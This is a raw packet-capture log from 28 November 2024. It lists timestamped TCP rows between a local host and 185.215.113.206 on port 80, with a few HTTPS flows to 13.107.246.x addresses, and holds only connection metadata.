Nov 28, 2024 06:48:38.424837112 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.424864054 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.424873114 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.424937963 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.425118923 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.425170898 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.425189972 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.425190926 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.425251961 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.425251961 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.425553083 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.425627947 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.425632954 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.425645113 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.425755978 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.425777912 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.425872087 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.426409960 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.426465988 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.426482916 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.426491976 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.426578045 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.426599026 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.426832914 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.427231073 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.427293062 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.427331924 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.427344084 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.427411079 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.427411079 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.427449942 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.427572966 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.428108931 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.428174973 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.428185940 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.428209066 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.428292990 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.428318024 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.428944111 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.429038048 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.429049969 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.429054976 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.429102898 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.429102898 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.429179907 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.429290056 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.429832935 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.429888010 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.430001974 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.430022955 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.430036068 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.430094957 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.430094957 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.430677891 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.430756092 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.430768967 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.430789948 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.430881023 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.430907011 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.431108952 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.431550980 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.431600094 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.431627989 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.431719065 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.431730986 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.431739092 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.431772947 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.431772947 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.432393074 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.432472944 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.432486057 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.432594061 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.432595968 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.432670116 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.433278084 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.433339119 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.433351040 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.433367968 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.433434010 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.433473110 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.433516979 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.434118032 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.434195042 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.434207916 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.434324026 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.434359074 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.434449911 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.434974909 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.435036898 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.435043097 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.435056925 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.435111046 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.435111046 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.435189009 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.435296059 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.435868979 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.435941935 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.435954094 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.435972929 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.436038017 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.436063051 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.436297894 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.436727047 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.436805010 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.436815977 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.436830044 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.436943054 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.436968088 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.437051058 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.437571049 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.437633038 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.437644005 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.437659025 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.437685013 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.437685013 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.437742949 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.437813044 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.501534939 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.501604080 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.501616955 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.501694918 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.501722097 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.501816034 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.501935005 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.502007961 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.502018929 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.502034903 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.502134085 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.502187967 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.502819061 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.502892017 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.502906084 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.502932072 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.503088951 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.503118992 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.503724098 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.503761053 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.503786087 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.503798008 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.503874063 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.503874063 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.503941059 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.504601955 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.504631042 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.504672050 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.504684925 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.504750967 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.504750967 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.504791975 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.505403996 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.505434036 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.507766008 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.548577070 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.548661947 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.548674107 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.548687935 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.548825979 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.548835993 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.548975945 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.548998117 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.549034119 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.549061060 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.549139023 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.549299002 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.549361944 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.549372911 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.549376965 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.549458027 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.549515009 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.549623966 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.550175905 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.550254107 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.550263882 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.550266027 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.550384998 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.550399065 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.550503016 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.550997972 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.551060915 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.551073074 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.551088095 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.551209927 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.551233053 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.551378012 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.551867008 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.551923990 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.551930904 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.551948071 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.552046061 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.552071095 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.552141905 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.552783012 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.552877903 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.552912951 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.553002119 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.625842094 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.625855923 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.625869036 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.625946999 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.625946999 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.625976086 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.626193047 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.626204014 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.626277924 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.626296043 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.626388073 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.626713037 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.626773119 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.626805067 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.626893997 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.626904964 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.626925945 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.627115011 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.627644062 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.627706051 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.627717972 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.627731085 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.627834082 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.627844095 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.627964020 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.628449917 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.628506899 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.628521919 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.628539085 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.628650904 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.628674030 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.628750086 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.629301071 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.629318953 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.629328012 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.629396915 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.629396915 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.668746948 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.792437077 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.805453062 CET	443	49831	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:38.805466890 CET	443	49831	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:38.805535078 CET	49831	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:38.805558920 CET	443	49831	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:38.808953047 CET	443	49831	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:38.809011936 CET	49831	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:38.810587883 CET	49831	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:38.810600996 CET	443	49831	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:39.094556093 CET	443	49832	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:39.095062971 CET	49832	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:39.095087051 CET	443	49832	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:39.095674992 CET	49832	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:39.095679998 CET	443	49832	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:39.099931955 CET	443	49835	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:39.100301981 CET	49835	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:39.100322008 CET	443	49835	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:39.100742102 CET	49835	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:39.100754023 CET	443	49835	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:39.117674112 CET	443	49836	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:39.118010998 CET	49836	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:39.118032932 CET	443	49836	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:39.118396044 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.118444920 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.118460894 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.118463039 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.118484020 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.118504047 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.118596077 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.118643999 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.118784904 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.118850946 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.118887901 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.118927956 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.119103909 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.119147062 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.119184017 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.119198084 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.119220972 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.119235992 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.119302988 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.119371891 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.119982958 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.120043039 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.120060921 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.120075941 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.120109081 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.120187044 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.120282888 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.120418072 CET	49836	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:39.120423079 CET	443	49836	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:39.120827913 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.120873928 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.120906115 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.120923042 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.120950937 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.120968103 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.121026993 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.121061087 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.121682882 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.121754885 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.121771097 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.121777058 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.121788025 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.121814966 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.121944904 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.122020960 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.122549057 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.122594118 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.122631073 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.122646093 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.122684002 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.122754097 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.122832060 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.123413086 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.123466015 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.123487949 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.123502970 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.123518944 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.123537064 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.123605967 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.123652935 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.124269962 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.124325037 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.124347925 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.124361992 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.124386072 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.124407053 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.124469042 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.124516964 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.125132084 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.125185013 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.125210047 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.125224113 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.125247955 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.125266075 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.125394106 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.125628948 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.125978947 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.126054049 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.126069069 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.126070023 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.126085997 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.126106977 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.126184940 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:39.126233101 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:39.126836061 CET	80	49750	185.215.113.206	192.168.2.5
